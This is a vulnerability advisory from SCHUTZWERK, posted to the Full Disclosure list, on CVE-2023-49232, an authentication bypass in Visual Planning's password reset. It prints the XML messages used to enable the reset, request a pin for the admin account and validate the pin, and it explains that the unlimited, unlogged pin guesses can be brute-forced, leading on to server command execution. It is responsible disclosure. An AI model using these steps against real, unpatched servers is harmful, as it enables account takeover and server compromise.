SCHUTZWERK-SA-2023-004: Authentication Bypass via Password Reset Functionality in Visual Planning

2024-4-6 00:35:0 Author: seclists.org(查看原文) 阅读量:3 收藏

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Title
=====

SCHUTZWERK-SA-2023-004: Authentication Bypass via Password Reset 

Functionality in Visual Planning

Status
======

PUBLISHED

Version
=======

1.0

CVE reference
=============

CVE-2023-49232

Link
====

https://www.schutzwerk.com/advisories/schutzwerk-sa-2023-004/

Text-only version:
https://www.schutzwerk.com/advisories/SCHUTZWERK-SA-2023-004.txt

Affected products/vendor
========================

All versions prior to Visual Planning 8 (Build 240207) by STILOG I.S.T.

Summary
=======

Unauthenticated attackers can exploit a weakness in the password reset 

functionality of the Visual Planning[0] application in order to obtain 

access to arbitrary user accounts including administrators. In case 

administrative (in the context of Visual Planning) accounts are 

compromised, attackers can install malicious modules into the 

application to take over the application server hosting the Visual 

Planning application.

Risk
====

The application does not impose any limits on the number of guesses that 

can be made. Attackers can therefore initiate the reset for arbitrary 

users and automate the pin validation process until a valid pin is 

obtained. The vulnerability allows unauthenticated attackers to gain 

access to arbitrary user accounts including administrators.

Failed pin validation attempts are not logged by the application which 

greatly increases the difficulty of detecting ongoing attacks.

With administrative access to Admin Center, attackers can install 

malicious modules containing Java code that is executed on the 

application server, resulting in arbitrary command execution.

The entire pin space can be enumerated in approximately one to two hours.

Description
===========

During a recent red teaming assessment, Visual Planning was identified 

as part of the customers internet-facing assets. The software is 

developed by STILOG I.S.T. and provides resource management and 

scheduling features. A security assessment conducted by SCHUTZWERK found 

an authentication bypass in Visual Planning's password reset functionality.

The application Admin Center (vpadmin) communicates with the server 

through an XML-based protocol that utilizes proprietary compression 

methods and is transmitted via HTTP. SCHUTZWERK implemented a custom 

proxy as part of an assessment in order to intercept and manipulate the 

messages exchanged between application and server.

One of the first messages sent by the Admin Center application after 

launch is the following:

<?xml version="1.0" encoding="UTF-8"?>
<com.visualplanning.query.NamedMethodParameter>
<methodName>canResetPassword</methodName>
<rawResult>false</rawResult>
<userSession isNull="true"/>
<values/>
</com.visualplanning.query.NamedMethodParameter>

In this request, the client asks the server whether it should display 

the "Forgot your password ?" button as part of the login form. During 

the assessment, the server responded as follows:

<?xml version="1.0" encoding="UTF-8"?>
<com.visualplanning.query.QueryResult>
<resultValues>
<HashtableValue>
<key>resetPassword</key>
<value class="java.lang.Boolean">false</value>
</HashtableValue>
</resultValues>
<status>OK</status>
</com.visualplanning.query.QueryResult>

By altering the value to "true", the password reset functionality 

becomes accessible in the application. At this point, attackers can 

provide the target username. This causes a request similar to the 

following to be issued:

<?xml version="1.0" encoding="UTF-8"?>
<com.visualplanning.query.NamedMethodParameter>
<methodName>sendResetPasswwd</methodName>
<rawResult>false</rawResult>
<userSession isNull="true"/>
<values>
<HashtableValue>
<key>login</key>
<value class="String">admin</value>
</HashtableValue>
</values>
</com.visualplanning.query.NamedMethodParameter>

While handling this request, the server generates a five digit numeric 

pin and tries to send it to the email address associated with the 

provided username. Regardless of whether the email could be successfully 

transmitted, the generated pin is stored in a attribute of the session 

used while performing the reset. It should be noted that the password 

reset request message can be sent directly without enabling the button 

in the GUI if the message format is already known.

To complete the reset process, the correct pin (matching the pin stored 

in the session attribute) must be specified. A message similar to the 

following is issued by the application to validiate the provided pin:

<?xml version="1.0" encoding="UTF-8"?>
<com.visualplanning.query.NamedMethodParameter>
<methodName>validateResetPasswwd</methodName>
<rawResult>false</rawResult>
<userSession isNull="true"/>
<values>
<HashtableValue>
<key>login</key>
<value class="String">admin</value>
</HashtableValue>
<HashtableValue>
<key>userCode</key>
<value class="String">58344</value>
</HashtableValue>
</values>
</com.visualplanning.query.NamedMethodParameter>

When an invalid pin is provided, the server responds with the following 

XML document:

<?xml version="1.0" encoding="UTF-8"?>
<com.visualplanning.query.QueryResult>
<resultValues>
<HashtableValue>
<key>ERROR</key>
<value class="String">Invalid code.</value>
</HashtableValue>
</resultValues>
<status>KO</status>
</com.visualplanning.query.QueryResult>

In case the pin is valid, the server responds with a VPUser data 

structure similar to the following:

<?xml version="1.0" encoding="UTF-8"?>
<com.visualplanning.query.QueryResult>
<resultValues>
<HashtableValue>
<key>vpUser</key>
<value class="com.visualplanning.data.admin.VPUser">
<ID>1</ID>
<UID>C442-53EB-B185-8804-F6BF-70AC-61C3-31BC</UID>
<activated>true</activated>
<comments>Super administrateur</comments>
<email>yahd6Coo () schutzwerk com</email>
<expiredPasswd>false</expiredPasswd>
<groups/>
<imageProfilBase64></imageProfilBase64>
<ldapSetting>
<entityID>-1</entityID>
</ldapSetting>
<licenses/>
<loginAttemps>0</loginAttemps>
<mobilePhoneNumber></mobilePhoneNumber>
<name>admin</name>
<ownerID>0</ownerID>
<phoneNumber></phoneNumber>
<platform>VP</platform>
<resetPasswd>true</resetPasswd>
<resourceUser>false</resourceUser>
</value>
</HashtableValue>
</resultValues>
<status>OK</status>
</com.visualplanning.query.QueryResult>

In addition, an empty password is set for the target username. Upon 

first login after reset, a new password must be set for this user.

Solution/Mitigation
===================

The vendor suggests to update to Visual Planning 8 (Build 240207)

Disclosure timeline
===================

2023-11-01: Vulnerability discovered
2023-11-09: Contact vendor in order to determine security contact
2023-11-10: Received generic sales response from vendor
2023-11-14: Contacted CTO of vendor directly
2023-11-16: Vulnerabilities demonstrated in call with contact at vendor
2023-11-24: CVE assigned by Mitre
2023-11-24: Additional technical details provided to vendor

2023-12-19: Vendor informed SCHUTZWERK that work on fixing the findings 

is in progress

2024-01-30: Inquired about mitigation status regarding the reported 

vulnerabilities

2024-01-30: Vendor informed SCHUTZWERK that some of the issues were 

already fixed

2024-03-08: Sent advisory drafts to vendor
2024-03-28: Received patch information and release of advisory

Contact/Credits
===============

The vulnerability was discovered during an assessment by Lennert Preuth 

and David Brown of SCHUTZWERK GmbH.

References
==========

[0] https://www.visual-planning.com/en/

[1] 

https://cheatsheetseries.owasp.org/cheatsheets/Forgot_Password_Cheat_Sheet.html

Disclaimer
==========

The information provided in this security advisory is provided "as is" 

and without warranty of any kind. Details of this security advisory may 

be updated in order to provide as accurate information as possible. The 

most recent version of this security advisory can be found at SCHUTZWERK 

GmbH's website ( https://www.schutzwerk.com ).

Additional information
======================

SCHUTZWERK Advisories: https://www.schutzwerk.com/blog/tags/advisories/

SCHUTZWERK Advisory Policy: https://www.schutzwerk.com/en/advisories/
-----BEGIN PGP SIGNATURE-----

iQJOBAEBCgA4FiEEgLsg7Oj/wY3LSF87GrXfkTIXLrsFAmYF0TAaHGFkdmlzb3Jp
ZXNAc2NodXR6d2Vyay5jb20ACgkQGrXfkTIXLrtU9xAArJL5rKh3sNRto6xC7bgj
660J6OALXG9O9qaJo1RHYsVo9287THvSgsPs8/YXZhFNtkccsdxRll3t3UxC3IOU
/h+f612I4lFlk9t0LVH2eu6r8lTw47YLbO9RKoBF0TsysJMnytuM9+BxRyd+nLVo
rfVxmRfUhDKf5odkDz8IeatmMMeI1e7JuGylWtVOkSxdbCsmwEbObrEsCwe74AR4
PKJDVb6tq03q1g5H0yq7QLCMyuN7UBc0Jb/sYkL3hu0m7JlqyCVUfNBaD1pqZvlA
C3b+DnrJHwAPYKr5I4pKfss5Ghh3+yIaS/UIyaIImgS6pyBDOJUHULiMKumZYHCl
r3YWOLAjuTUztRmsktavjgItsf2NsXnBLYMDjZuZtBd6iU7iNKQ4EdbCNt8YCN8w
KmU3ot2Kwjty2aLj7CBdg8Mrc4Rr3PH2PoXWxSEBMWqokoO2zWVft+5BpJ/onU2P
um41+KNb7h7Pf/QVkU1KOZbwAI9tgJvZn2hHXmbQov0w3s0J9dqNoJ4Eu+qVPMAx
+Ug9Qvo3Qh325pDEeqxUhOsPh4dHam97ouDYE3XXLlKk8rar8TjhANAHHO4uUltW
gikWB1VVmGy7XS9lflWE1QLqO8BBK1jZUDU21fWQeAeF64R6NXikj0tkfvjOwwt/
CTQ2Nugk2kdYf5d73FSO9ds=
=PvYR
-----END PGP SIGNATURE-----

--
SCHUTZWERK GmbH, Pfarrer-Weiß-Weg 12, 89077 Ulm, Germany
Zertifiziert / Certified ISO 27001, 9001 and TISAX

Phone +49 731 977 191 0

advisories () schutzwerk com / www.schutzwerk.com

Geschäftsführer / Managing Directors:
Jakob Pietzka, Michael Schäfer

Amtsgericht Ulm / HRB 727391
Datenschutz / Data Protection www.schutzwerk.com/datenschutz

OpenPGP_signature.asc
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

Full Disclosure mailing list archives

Current thread: